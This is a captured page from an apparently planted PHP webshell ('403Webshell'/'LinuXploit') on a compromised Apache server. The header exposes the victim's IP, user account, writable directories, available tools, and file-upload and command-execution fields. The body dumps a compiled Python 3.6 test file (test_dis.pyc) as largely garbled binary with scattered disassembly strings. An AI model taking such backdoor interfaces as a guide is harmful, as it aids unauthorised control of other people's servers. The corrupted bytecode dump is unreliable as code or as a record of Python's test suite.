403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_dis.cpython-36.pyc
3

�w2_|��j@s4ddlmZddlmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZdd�Ze�j
jZGdd�d�Zdejjjd	fZd
ZdejjjdfZd
ejjjdfZdejjeejjeejjefZdd�Zdejjd	ejjdfZdZdd�Zdejjd	ejjdejjdfZ gfdd�Z!de!jjd	e"e!jjd	e!jjde!jjdfZ#dZ$dZ%dZ&dZ'dZ(dZ)d Z*d!Z+d"Z,d#Z-d$ejd	ejdejdejd%ejd&fZ.d'd(�Z/d)e/jjd	fZ0d*d+�Z1Gd,d-�d-ej2�Z3Gd.d/�d/e3�Z4d0ej5j6dk�r�dn�dZ7e8�dgd3�d4d5��Z9d6Z:e9j;jj<d	Z=d7Z>d8Z?d9Z@d:ZAd;d<�ZBd=ZCGd>d?�d?ej2�ZD�dd@dA�ZEdBdC�ZFd	ZGeEjjd	ZHeEjj<dZIeIjeHZJeIj<dZKeKjeHZLd	ZMejNZNeNdDdEdF�ddGdddHdI�eNdJdKddLdLdddHdI�eNdJdKd	dMdMd%ddHdI�eNdNdOdddPdQddHdI�eNdDdEdeIeOeI�dFddHdI�eNdDdEd%dRdSdTddHdI�eNdUdVdWdWdPdXddHdI�eNdYdZdd[d[d\ddHdI�eNd]d^dd_d_d`dadHdI�eNdbdcddLdLddddHdI�eNdbdcd	dMdMdeddHdI�eNdDdEd&dPdfdgddHdI�eNdDdEdQd	dhdiddHdI�eNdjdkdddPdlddHdI�eNdmdndddPdoddHdI�eNdDdEdadpdqdrddHdI�eNdsdtdadadPduddHdI�eNdvd	dddPdwddHdI�eNdxdydd[d[dzdFdHdI�eNd{d|dddPd}ddHdI�gZPeNdDdEd&�dd~dddHdI�eNdJdKddLdLdddHdI�eNdJdKddMdMd%ddHdI�eNdJdKddddQddHdI�eNdJdKd	d�d�dFddHdI�eNdNdOd%d%dPdTddHdI�eNdDdEdeKeOeK�dXddHdI�eNdDdEd%d�d�d\ddHdI�eNdUdVdWdWdPd`ddHdI�eNdYdZdd�d�ddddHdI�eNd]d^dd_d_ded&dHdI�eNdbdcddLdLdgddHdI�eNdbdcddMdMdiddHdI�eNdbdcddddlddHdI�eNdbdcd	d�d�doddHdI�eNdsdtd%d%dPdrddHdI�eNdvd	dddPduddHdI�eNdxdydd�d�dwdQdHdI�eNd{d|dddPdzddHdI�gZQeNd]d^dd_d_dd%dHdI�eNdbdcddLdLdddHdI�eNdbdcd	dMdMd%ddHdI�eNdbdcddddQddHdI�eNdbdcdd�d�dFddHdI�eNdxdydd�d�dTddHdI�eNdxdyd	d[d[dXddHdI�eNdsdtdQdQdPd\ddHdI�eNdvd	dddPd`ddHdI�eNdDdEddd�ddddHdI�eNd{d|dddPdeddHdI�gZReNd�d�d�d�d�dddHdI�eNd]d^dd�d�dddHdI�eNdDdEd	dTd�d%ddHdI�eNdsdtd	d	dPdQddHdI�eNd�d�dddPdFddHdI�eNd�d�dud�d�dTdd2dI�eNdYdZdd�d�dXddHdI�eNd]d^d	d_d_d\d%dHdI�eNdxdydd�d�d`ddHdI�eNdsdtd	d	dPddddHdI�eNdvd	dddPdeddHdI�eNdxdydd�d�dgd&dHdI�eNdDdEdd%d�diddHdI�eNd�d�dd�d�dlddHdI�eNd�d�dududPdoddHdI�eNd�d�dTdTdPdrdQdHdI�eNdxdydd�d�dudad2dI�eNdDdEddQd�dwddHdI�eNd�d�d%d�d�dzddHdI�eNd�d�dTdTdPd}ddHdI�eNd�d�dddPd�dFdHdI�eNd�d�dTdTdPd�ddHdI�eNd�d�dddPd�dd2dI�eNd]d^d	d_d_d�dTdHdI�eNdDdEd%d�d�d�ddHdI�eNdsdtd	d	dPd�ddHdI�eNdvd	dddPd�ddHdI�eNd�d�d�d�d�d�d�d2dI�eNdxdydd�d�d�dd2dI�eNd�d�d�d�dPd�ddHdI�eNd]d^d	d_d_d�dXdHdI�eNdxdydd�d�d�ddHdI�eNdsdtd	d	dPd�ddHdI�eNdvd	dddPd�ddHdI�eNdxdydd�d�d�d�dHdI�eNdDdEd&d	dhd�ddHdI�eNd�d�dddPd�ddHdI�eNdYdZdd�d�d�ddHdI�eNdxdydd�d�d�d\dHdI�eNdDdEddQd�d�ddHdI�eNd�d�d%d�d�d�ddHdI�eNd�d�d�d�dPd�ddHdI�eNd�d�d�d�dPd�d�dHdI�eNdxdydd�d�d�d`d2dI�eNdDdEdd%d�d�ddHdI�eNd�d�dd�d�d�ddHdI�eNd�d�d�d�dPd�ddHdI�eNd�d�dddPd�d�dHdI�eNd�d�d�d�dPd�ddHdI�eNd�d�dddPd�dd2dI�eNd]d^d	d_d_dEd�dHdI�eNdDdEdQd�d�dOddHdI�eNdsdtd	d	dPd�ddHdI�eNdvd	dddPd�ddHdI�eNd�d�d�d�d�d�ded2dI�eNd�d�dXdyd�d�ddHdI�eNdDdEd&d	dhd�d�dHdI�eNdDdEdadd�d�ddHdI�eNd�d�dddPd^ddHdI�eNdvd	dddPd�ddHdI�eNd�d�dddPd�ddHdI�eNd�d�dod�d�d�ddHdI�eNd�d%dddPdydgd2dI�eNd]d^dd�d�d�ddHdI�eNd�d�dTd�d�d�ddHdI�eNd�d�d�d�dPd�ddHdI�eNdvd	dddPdVddHdI�eNdvd	dddPd�ddHdI�eNdvd	dddPdcddHdI�eNd]d^d	d_d_d�d�dHdI�eNdDdEdFd�d�d�ddHdI�eNdsdtd	d	dPd�ddHdI�eNdvd	dddPd�ddHdI�eNd�d�dddPd�ddHdI�eNd�d�dld�d�d�ddHdI�eNd�d�dddPd�dd2dI�eNdxdydd�d�d�d�d2dI�eNd�d�d\d�d�d�ddHdI�eNdYdZd	d�d�d�ddHdI�eNd]d^d	d_d_d�dldHdI�eNdDdEdWd�d�d�ddHdI�eNdsdtd	d	dPd�ddHdI�eNdvd	dddPd�ddHdI�eNd�d�dddPd�ddHdI�eNdDdEddd�d�ddHdI�eN�d�ddddPd�dd2dI�eN�dd�dddP�dddHdI�eNd�d�dddP�dddHdI�eNd�d�dddPd�dd2dI�eNdDdEddd��dddHdI�eNd]d^d	d_d_d�dod2dI�eNdDdEdT�d�d�dddHdI�eNdsdtd	d	dP�d	ddHdI�eNdvd	dddP�d
ddHdI�eNd�d�dddP�dddHdI�eNdDdEddd��dddHdI�eNd{d|dddP�d
ddHdI�gaZS�d�d�ZTeNdDdEddd�deTjjdHdI�eNd{d|dddPdddHdI�gZUG�d�d��de�ZVG�d�d��dej2�ZWe�dk�r0ejX�dS(�)�captured_stdout)�BytecodeTestCaseNcCs$dd�}|�}x|jr|j}qW|S)NcSs:yddWn(tk
r4}z|j}WYdd}~XnX|S)N�r)�	Exception�
__traceback__)�e�tb�r	�2/opt/alt/python36/lib64/python3.6/test/test_dis.py�_errors
zget_tb.<locals>._error)�tb_next)rrr	r	r
�get_tbs

r
c@s,eZdZdd�Zedd��Zedd��ZdS)�_CcCs|dk|_dS)Nr)�x)�selfrr	r	r
�__init__sz_C.__init__cCs|dk}dS)Nrr	)rr	r	r
�sm!sz_C.smcCs|dk|_dS)Nr)r)�clsrr	r	r
�cm%sz_C.cmN)�__name__�
__module__�__qualname__r�staticmethodr�classmethodrr	r	r	r
rsra>%3d           0 LOAD_FAST                1 (x)
              2 LOAD_CONST               1 (1)
              4 COMPARE_OP               2 (==)
              6 LOAD_FAST                0 (self)
              8 STORE_ATTR               0 (x)
             10 LOAD_CONST               0 (None)
             12 RETURN_VALUE
ra          0 LOAD_FAST                1 (1)
          2 LOAD_CONST               1 (1)
          4 COMPARE_OP               2 (==)
          6 LOAD_FAST                0 (0)
          8 STORE_ATTR               0 (0)
         10 LOAD_CONST               0 (0)
         12 RETURN_VALUE
a=%3d           0 LOAD_FAST                1 (x)
              2 LOAD_CONST               1 (1)
              4 COMPARE_OP               2 (==)
              6 LOAD_FAST                0 (cls)
              8 STORE_ATTR               0 (x)
             10 LOAD_CONST               0 (None)
             12 RETURN_VALUE
�a%3d           0 LOAD_FAST                0 (x)
              2 LOAD_CONST               1 (1)
              4 COMPARE_OP               2 (==)
              6 STORE_FAST               0 (x)
              8 LOAD_CONST               0 (None)
             10 RETURN_VALUE
zBDisassembly of %s:
%s
Disassembly of %s:
%s
Disassembly of %s:
%s
cCst|�dS)Nr)�print)�ar	r	r
�_f\srz�%3d           0 LOAD_GLOBAL              0 (print)
              2 LOAD_FAST                0 (a)
              4 CALL_FUNCTION            1
              6 POP_TOP

%3d           8 LOAD_CONST               1 (1)
             10 RETURN_VALUE
z�          0 LOAD_GLOBAL              0 (0)
          2 LOAD_FAST                0 (0)
          4 CALL_FUNCTION            1
          6 POP_TOP
          8 LOAD_CONST               1 (1)
         10 RETURN_VALUE
cCsxtdd�D]}qWdS)Nr�
)�range)�resr	r	r
�	bug708901vs
r!a%3d           0 SETUP_LOOP              18 (to 20)
              2 LOAD_GLOBAL              0 (range)
              4 LOAD_CONST               1 (1)

%3d           6 LOAD_CONST               2 (10)
              8 CALL_FUNCTION            2
             10 GET_ITER
        >>   12 FOR_ITER                 4 (to 18)
             14 STORE_FAST               0 (res)

%3d          16 JUMP_ABSOLUTE           12
        >>   18 POP_BLOCK
        >>   20 LOAD_CONST               0 (None)
             22 RETURN_VALUE
�cCsdstdd�|D�d��dS)NrcSsg|]}|�qSr	r	)�.0�sr	r	r
�
<listcomp>�szbug1333982.<locals>.<listcomp>r)�AssertionError)rr	r	r
�
bug1333982�sr'a�%3d           0 LOAD_CONST               1 (0)
              2 POP_JUMP_IF_TRUE        26
              4 LOAD_GLOBAL              0 (AssertionError)
              6 LOAD_CONST               2 (<code object <listcomp> at 0x..., file "%s", line %d>)
              8 LOAD_CONST               3 ('bug1333982.<locals>.<listcomp>')
             10 MAKE_FUNCTION            0
             12 LOAD_FAST                0 (x)
             14 GET_ITER
             16 CALL_FUNCTION            1

%3d          18 LOAD_CONST               4 (1)
             20 BINARY_ADD
             22 CALL_FUNCTION            1
             24 RAISE_VARARGS            1

%3d     >>   26 LOAD_CONST               0 (None)
             28 RETURN_VALUE
z�%3d           0 LOAD_GLOBAL              0 (spam)
              2 POP_TOP
              4 LOAD_CONST               0 (None)
              6 RETURN_VALUE
z�Disassembly of f:
  4           0 LOAD_CONST               0 (None)
              2 RETURN_VALUE

Disassembly of g:
  5           0 LOAD_CONST               0 (None)
              2 RETURN_VALUE

zx + 1z�  1           0 LOAD_NAME                0 (x)
              2 LOAD_CONST               0 (1)
              4 BINARY_ADD
              6 RETURN_VALUE
z	x = x + 1z�  1           0 LOAD_NAME                0 (x)
              2 LOAD_CONST               0 (1)
              4 BINARY_ADD
              6 STORE_NAME               0 (x)
              8 LOAD_CONST               1 (None)
             10 RETURN_VALUE
z+
x: int = 1
y: fun(1)
lst[fun(0)]: int = 1
a<  2           0 SETUP_ANNOTATIONS
              2 LOAD_CONST               0 (1)
              4 STORE_NAME               0 (x)
              6 LOAD_NAME                1 (int)
              8 STORE_ANNOTATION         0 (x)

  3          10 LOAD_NAME                2 (fun)
             12 LOAD_CONST               0 (1)
             14 CALL_FUNCTION            1
             16 STORE_ANNOTATION         3 (y)

  4          18 LOAD_CONST               0 (1)
             20 LOAD_NAME                4 (lst)
             22 LOAD_NAME                2 (fun)
             24 LOAD_CONST               1 (0)
             26 CALL_FUNCTION            1
             28 STORE_SUBSCR
             30 LOAD_NAME                1 (int)
             32 POP_TOP
             34 LOAD_CONST               2 (None)
             36 RETURN_VALUE
zx = 0
while 1:
    x += 1a�  1           0 LOAD_CONST               0 (0)
              2 STORE_NAME               0 (x)

  2           4 SETUP_LOOP              12 (to 18)

  3     >>    6 LOAD_NAME                0 (x)
              8 LOAD_CONST               1 (1)
             10 INPLACE_ADD
             12 STORE_NAME               0 (x)
             14 JUMP_ABSOLUTE            6
             16 POP_BLOCK
        >>   18 LOAD_CONST               2 (None)
             20 RETURN_VALUE
a�%3d           0 SETUP_EXCEPT            12 (to 14)

%3d           2 LOAD_CONST               1 (1)
              4 LOAD_CONST               2 (0)
    -->       6 BINARY_TRUE_DIVIDE
              8 POP_TOP
             10 POP_BLOCK
             12 JUMP_FORWARD            40 (to 54)

%3d     >>   14 DUP_TOP
             16 LOAD_GLOBAL              0 (Exception)
             18 COMPARE_OP              10 (exception match)
             20 POP_JUMP_IF_FALSE       52
             22 POP_TOP
             24 STORE_FAST               0 (e)
             26 POP_TOP
             28 SETUP_FINALLY           12 (to 42)

%3d          30 LOAD_FAST                0 (e)
             32 LOAD_ATTR                1 (__traceback__)
             34 STORE_FAST               1 (tb)
             36 POP_BLOCK
             38 POP_EXCEPT
             40 LOAD_CONST               0 (None)
        >>   42 LOAD_CONST               0 (None)
             44 STORE_FAST               0 (e)
             46 DELETE_FAST              0 (e)
             48 END_FINALLY
             50 JUMP_FORWARD             2 (to 54)
        >>   52 END_FINALLY

%3d     >>   54 LOAD_FAST                1 (tb)
             56 RETURN_VALUE
��cCs|�d|d�d|�d|d��S)N� �4r	)r�b�c�dr	r	r
�_fstring0sr/a�%3d           0 LOAD_FAST                0 (a)
              2 FORMAT_VALUE             0
              4 LOAD_CONST               1 (' ')
              6 LOAD_FAST                1 (b)
              8 LOAD_CONST               2 ('4')
             10 FORMAT_VALUE             4 (with format)
             12 LOAD_CONST               1 (' ')
             14 LOAD_FAST                2 (c)
             16 FORMAT_VALUE             2 (repr)
             18 LOAD_CONST               1 (' ')
             20 LOAD_FAST                3 (d)
             22 LOAD_CONST               2 ('4')
             24 FORMAT_VALUE             6 (repr, with format)
             26 BUILD_STRING             7
             28 RETURN_VALUE
ccs
|VdS)Nr	)rr	r	r
�_gEsr0c@s�eZdZd3dd�Zd5dd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1S)6�DisTestsrTc
CsBtj�}tj|��"|r$tj|�ntj||�WdQRX|j�S)N)�io�StringIO�
contextlib�redirect_stdout�dis�disassemble�getvalue)r�func�lasti�wrapper�outputr	r	r
�get_disassemblyJszDisTests.get_disassemblycCs|j||d�S)NF)r=)rr9r:r	r	r
�get_disassemble_as_stringTsz"DisTests.get_disassemble_as_stringcCstjdd|�S)Nz\b0x[0-9A-Fa-f]+\bz0x...)�re�sub)r�textr	r	r
�strip_addressesWszDisTests.strip_addressescCs,|j|�}||kr|j|�}|j||�dS)N)r=rB�assertEqual)rr9�expectedZgotr	r	r
�do_disassembly_testZs

zDisTests.do_disassembly_testcCs>|jtjdd�|jtjdtj�|jtjdtj�dS)NZNOP�	�
LOAD_CONST�
STORE_NAME)rCr6�opmapZassertInZhasconstZhasname)rr	r	r
�
test_opmap`szDisTests.test_opmapcCs|jtjtjdd�dS)N�	LOAD_FAST)rCr6�opnamerI)rr	r	r
�test_opnameeszDisTests.test_opnamecCs,|jtjdtj�|jtjdtj�dS)N�EXTENDED_ARGrH)rCr6rIrNZ
HAVE_ARGUMENT)rr	r	r
�test_boundarieshszDisTests.test_boundariescCs|jtt�dS)N)rEr�dis_f)rr	r	r
�test_dislszDisTests.test_discCs|jtt�dS)N)rEr!�
dis_bug708901)rr	r	r
�test_bug_708901oszDisTests.test_bug_708901cCsds|jd�|jtt�dS)NTzneed asserts, run without -O)ZskipTestrEr'�dis_bug1333982)rr	r	r
�test_bug_1333982rs
zDisTests.test_bug_1333982cCs�dd�}x.tdd�D] }t|d}|j||�|�qWx0tddd�D] }t|d}|j||�|�qFWdd	lm}|j|t�dS)
NcSs0i}ddjdg|dg�}t||�|dS)Nzdef foo():
 �z
 zspam
Zfoo)�join�exec)�count�	namespacer9r	r	r
r9{s
z'DisTests.test_big_linenos.<locals>.funcri,ri�rr)�
dis_module)r�_BIG_LINENO_FORMATrEZtestr[�dis_module_expected_results)rr9�irDr[r	r	r
�test_big_linenoszszDisTests.test_big_linenoscCs4|jtt�|jtt�|jtt�|jtt�dS)N)	rE�expr_str�dis_expr_str�simple_stmt_str�dis_simple_stmt_str�annot_stmt_str�dis_annot_stmt_str�compound_stmt_str�dis_compound_stmt_str)rr	r	r
�test_disassemble_str�szDisTests.test_disassemble_strcCs|jtjjt�dS)N)rEr�__code__�co_code�
dis_f_co_code)rr	r	r
�test_disassemble_bytes�szDisTests.test_disassemble_bytescCs|jtt�dS)N)rEr�dis_c)rr	r	r
�test_disassemble_class�szDisTests.test_disassemble_classcCs|jtd�jt�dS)Nr)rErr�dis_c_instance_method)rr	r	r
� test_disassemble_instance_method�sz)DisTests.test_disassemble_instance_methodcCstd�jjj}|j|t�dS)Nr)rrrirjrE�dis_c_instance_method_bytes)rZmethod_bytecoder	r	r
�&test_disassemble_instance_method_bytes�sz/DisTests.test_disassemble_instance_method_bytescCs|jtjt�dS)N)rErr�dis_c_static_method)rr	r	r
�test_disassemble_static_method�sz'DisTests.test_disassemble_static_methodcCs|jtjt�dS)N)rErr�dis_c_class_method)rr	r	r
�test_disassemble_class_method�sz&DisTests.test_disassemble_class_methodcCs(|jt�}|jtd��}|j||�dS)Nr)r=r0rC)rZgen_func_disasZ	gen_disasr	r	r
�test_disassemble_generator�s
z#DisTests.test_disassemble_generatorcCs|jtt�dS)N)rEr/�dis_fstring)rr	r	r
�test_disassemble_fstring�sz!DisTests.test_disassemble_fstringcCs2yt`Wntk
rYnX|jttjd�dS)N)�sys�last_traceback�AttributeError�assertRaises�RuntimeErrorr6)rr	r	r
�
test_dis_none�s
zDisTests.test_dis_nonecCs|yt`Wntk
rYnXyddWn.tk
rX}z|j}|t_WYdd}~XnX|j|jj|j�}|j	d|�dS)Nrr)
rzr{r|rrr>�tb_frame�f_code�tb_lastirE)rrrZtb_disr	r	r
�test_dis_traceback�szDisTests.test_dis_tracebackcCs|jttjt��dS)N)r}�	TypeErrorr6�object)rr	r	r
�test_dis_object�szDisTests.test_dis_objectN���)r�Tr�)r�)rrrr=r>rBrErJrMrOrQrSrUr_rhrlrnrprrrtrvrwryrr�r�r	r	r	r
r1Hs.


r1c@seZdZddd�ZdS)�DisWithFileTestsrTcCs4tj�}|rtj||d�ntj|||d�|j�S)N)�file)r2r3r6r7r8)rr9r:r;r<r	r	r
r=�s
z DisWithFileTests.get_disassemblyNr�)r�T)rrrr=r	r	r	r
r��sr�aName:              code_info
Filename:          (.*)
Argument count:    1
Kw-only arguments: 0
Number of locals:  1
Stack size:        3
Flags:             OPTIMIZED, NEWLOCALS, NOFREE
Constants:
   0: %r
Names:
   0: _format_code_info
   1: _get_code_object
Variable names:
   0: x�1Formatted details of methods, functions, or code.T)rc/s2|f������fdd�	����|���fVdS)Ncst���|����dS)N)r)r-)r.r�fr�y�zr	r
r��sztricky.<locals>.fr	)rr�r�r-r.r�args�kwdsr	)r.rr�rr�r�r
�tricky�sr�a�Name:              tricky
Filename:          (.*)
Argument count:    3
Kw-only arguments: 3
Number of locals:  8
Stack size:        7
Flags:             OPTIMIZED, NEWLOCALS, VARARGS, VARKEYWORDS, GENERATOR
Constants:
   0: None
   1: <code object f at (.*), file "(.*)", line (.*)>
   2: 'tricky.<locals>.f'
Variable names:
   0: x
   1: y
   2: z
   3: c
   4: d
   5: e
   6: args
   7: kwds
Cell variables:
   0: [edfxyz]
   1: [edfxyz]
   2: [edfxyz]
   3: [edfxyz]
   4: [edfxyz]
   5: [edfxyz]a[Name:              f
Filename:          (.*)
Argument count:    1
Kw-only arguments: 0
Number of locals:  1
Stack size:        8
Flags:             OPTIMIZED, NEWLOCALS, NESTED
Constants:
   0: None
Names:
   0: print
Variable names:
   0: c
Free variables:
   0: [edfxyz]
   1: [edfxyz]
   2: [edfxyz]
   3: [edfxyz]
   4: [edfxyz]
   5: [edfxyz]z�Name:              <module>
Filename:          <disassembly>
Argument count:    0
Kw-only arguments: 0
Number of locals:  0
Stack size:        2
Flags:             NOFREE
Constants:
   0: 1
Names:
   0: xz�Name:              <module>
Filename:          <disassembly>
Argument count:    0
Kw-only arguments: 0
Number of locals:  0
Stack size:        2
Flags:             NOFREE
Constants:
   0: 1
   1: None
Names:
   0: xz�Name:              <module>
Filename:          <disassembly>
Argument count:    0
Kw-only arguments: 0
Number of locals:  0
Stack size:        2
Flags:             NOFREE
Constants:
   0: 0
   1: 1
   2: None
Names:
   0: xc�s\dIdHx.t2dHy3dH}Wqtk
s.XqYWt4IdH�}WdQIdHRXdS)Nr)r,�StopAsyncIterationr-)rr.r	r	r
�	async_defMs

"r�z�Name:              async_def
Filename:          (.*)
Argument count:    0
Kw-only arguments: 0
Number of locals:  2
Stack size:        16
Flags:             OPTIMIZED, NEWLOCALS, NOFREE, COROUTINE
Constants:
   0: None
   1: 1c@s\eZdZejefeefee	fe
efee
feefeefgZdd�Zdd�Zdd�Zdd�Zd	S)
�
CodeInfoTestscCs0d|_x$|jD]\}}|jtj|�|�qWdS)Ni�)�maxDiff�
test_pairs�assertRegexr6�	code_info)rrrDr	r	r
�test_code_infoiszCodeInfoTests.test_code_infocCstd|_xh|jD]^\}}t��}tj|�WdQRX|j|j�|d�tj�}tj||d�|j|j�|�qWdS)Ni��
)r�)	r�r�rr6Z	show_coder�r8r2r3)rrrDr<r	r	r
�test_show_codenszCodeInfoTests.test_show_codecCs|jttjt��dS)N)r}r�r6r�r�)rr	r	r
�test_code_info_objectxsz#CodeInfoTests.test_code_info_objectcCs|jtjd�d�dS)NrZ0x0)rCr6Zpretty_flags)rr	r	r
�test_pretty_flags_no_flags{sz(CodeInfoTests.test_pretty_flags_no_flagsN)rrrr6r��code_info_code_infor��code_info_tricky�co_tricky_nested_f�code_info_tricky_nested_fr`�code_info_expr_strrb�code_info_simple_stmt_strrf�code_info_compound_stmt_strr��code_info_async_defr�r�r�r�r�r	r	r	r
r�^s

r�cs(d��fdd�	}t��ddgid�|S)	Nr"r(cs&d����fdd�	}t�����|S)Nr)�cst����||�dS)N)r)rr�)rr,r-r.r	r
�inner�szouter.<locals>.f.<locals>.inner)r)r�)r)r-r.r�)rr,)r-r.r
r��szouter.<locals>.frVrzHello world!)r"r()r)rr,r�r	)rr,r
�outer�sr�cCs�x4td�D] }t|�|dkr q
|dkr
Pq
Wtd�x4|rbt|�|d8}|dkrVq8|dkr8Pq8Wtd�zFyddWntk
r�td�YnX|�}td	�WdQRXWdtd
�XdS)Nrr(r�zI can haz else clause?rz%Who let lolcatz into this test suite?rz%Here we go, here we go, here we go...zNever reach thiszOK, now we're done)rr�ZeroDivisionError)r^�dodgyr	r	r
�jumpy�s,r�rG�d�z(3, 4)F)rLZopcode�argZargvalZargrepr�offsetZstarts_lineZis_jump_targetZLOAD_CLOSURE�rr,ZBUILD_TUPLE�frVr�zouter.<locals>.fz'outer.<locals>.f'rZ
MAKE_FUNCTION�rF�Z
STORE_FAST�}r��ZLOAD_GLOBAL�tr��Z
LOAD_DEREF���z''��1�Z
BUILD_LIST�g�Z	BUILD_MAP�i�zHello world!z'Hello world!'�Z
CALL_FUNCTION�� ZPOP_TOP�"rK�|�$ZRETURN_VALUE�S�&z(5, 6)r-r.zouter.<locals>.f.<locals>.innerz!'outer.<locals>.f.<locals>.inner'r�r�NoneZ
SETUP_LOOP�x�4�6zto 54rZ10ZGET_ITER�DZFOR_ITER�]�,zto 44r^r+Z
COMPARE_OP�k�<ZPOP_JUMP_IF_FALSE�rZ
JUMP_ABSOLUTE�q�6�>Z
BREAK_LOOP�P�(�*Z	POP_BLOCK�W�.zI can haz else clause?z'I can haz else clause?'�0�2�lzto 108��8�b�:�<�>�@�B�
�FZINPLACE_SUBTRACT�H�J�L�N�V�R�T��X�Z�\�^��`�z%Who let lolcatz into this test suite?z''Who let lolcatz into this test suite?'�h�jZ
SETUP_FINALLY�z�zto 180ZSETUP_EXCEPT�yzto 124�n�p��0ZBINARY_TRUE_DIVIDE��vZJUMP_FORWARD�zto 152ZDUP_TOPr��~zexception match������z%Here we go, here we go, here we go...z''Here we go, here we go, here we go...'���Z
POP_EXCEPT�Y��zto 176�ZEND_FINALLY�Z
SETUP_WITH��zto 170�r���zNever reach thisz'Never reach this'�����ZWITH_CLEANUP_START�QZWITH_CLEANUP_FINISH���zOK, now we're donez"OK, now we're done"������cCsdS)Nr	r	r	r	r
�simpledsr'c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�InstructionTestscCstjt�}|jt|�t�dS)N)r6�get_instructionsr'rC�list�expected_opinfo_simple)r�actualr	r	r
�test_default_first_linems
z(InstructionTests.test_default_first_linecCs"tjtdd�}|jt|�t�dS)N)�
first_line)r6r)r'rCr*r+)rr,r	r	r
�test_first_line_set_to_Noneqsz,InstructionTests.test_first_line_set_to_NonecCs"tjttd�}|jt|�t�dS)N)r.)r6r)r��expected_outer_linerCr*�expected_opinfo_outer)rr,r	r	r
�
test_outeruszInstructionTests.test_outercCs:t��t�}WdQRXtj|td�}|jt|�t�dS)N)r.)rr�r6r)�expected_f_linerCr*�expected_opinfo_f)rr�r,r	r	r
�test_nestedyszInstructionTests.test_nestedcCs<t��t��}WdQRXtj|td�}|jt|�t�dS)N)r.)rr�r6r)�expected_inner_linerCr*�expected_opinfo_inner)rr�r,r	r	r
�test_doubly_nestedsz#InstructionTests.test_doubly_nestedcCs"tjttd�}|jt|�t�dS)N)r.)r6r)r��expected_jumpy_linerCr*�expected_opinfo_jumpy)rr,r	r	r
�
test_jumpy�szInstructionTests.test_jumpyN)	rrrr-r/r2r5r8r;r	r	r	r
r(ksr(c@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�
BytecodeTestscCsfxNttd�jdtjgD]6}|j|d�� tj|�}|j|jt	j
�WdQRXqW|jttjt
��dS)Nrza=1)�obj)rrrri�subTestr6�BytecodeZassertIsInstanceZcodeobj�types�CodeTyper}r�r�)rr=r,r	r	r
�test_instantiation�s

z BytecodeTests.test_instantiationcCsbx\ttd�jdtjgD]D}|j|d��.ttj|��}ttj|��}|j	||�WdQRXqWdS)Nrza=1)r=)
rrrrir>r*r6r?r)rC)rr=Z
via_objectZ
via_generatorr	r	r
�test_iteration�s
zBytecodeTests.test_iterationcCs"tjttd�}|jt|�t�dS)N)r.)r6r?r�r0rCr*r1)rr,r	r	r
�test_explicit_first_line�sz&BytecodeTests.test_explicit_first_linecCsZtjt�j�dd�}djtjj�}|j||�tjtdd�j�dd�}|j|d�dS)Nr"z{:>3}i^)r.Z350)r6r?r'�formatri�co_firstlinenorC)rr,rDr	r	r
�test_source_line_in_disassembly�s
z-BytecodeTests.test_source_line_in_disassemblycCs8d|_x,tjD]"\}}tj|�}|j|j�|�qWdS)Ni�)r�r�r�r6r?r��info)rrrDr,r	r	r
�	test_info�s
zBytecodeTests.test_infocCstjt�j�}|j|t�dS)N)r6r?rrCrP)rr,r	r	r
�test_disassembled�szBytecodeTests.test_disassembledcCs8t�}tjj|�}x|jr"|j}qW|j|j|j�dS)N)r
r6r?�from_tracebackrrCZcurrent_offsetr�)rrr,r	r	r
�test_from_traceback�s

z!BytecodeTests.test_from_tracebackcCs&t�}tjj|�}|j|j�t�dS)N)r
r6r?rKrC�
dis_traceback)rrr,r	r	r
�test_from_traceback_dis�sz%BytecodeTests.test_from_traceback_disN)rrrrBrCrDrGrIrJrLrNr	r	r	r
r<�s		r<�__main__)r�)N)T)rr)r"r()r)r�)YZtest.supportrZtest.bytecode_helperrZdifflibZunittestrzr6r2r?r@r4r
r�r�ZTRACEBACK_CODErrrirFrorqrrurrsrrmrrPrkr!rRr'�__file__rTr\r]r`rarbrcrdrerfrgrMr/rxr0ZTestCaser1r��flags�optimizer�rr�r��__func__�	co_constsr�r�r�r�r�r�r�r�r�r�r0Z_line_offsetZ
code_object_fr3Zcode_object_innerr6r9ZInstruction�reprr1r4r7r:r'r+r(r<�mainr	r	r	r
�<module>s�


	





	$
 
#	


 4

Youez - 2016 - github.com/yon3zu
LinuXploit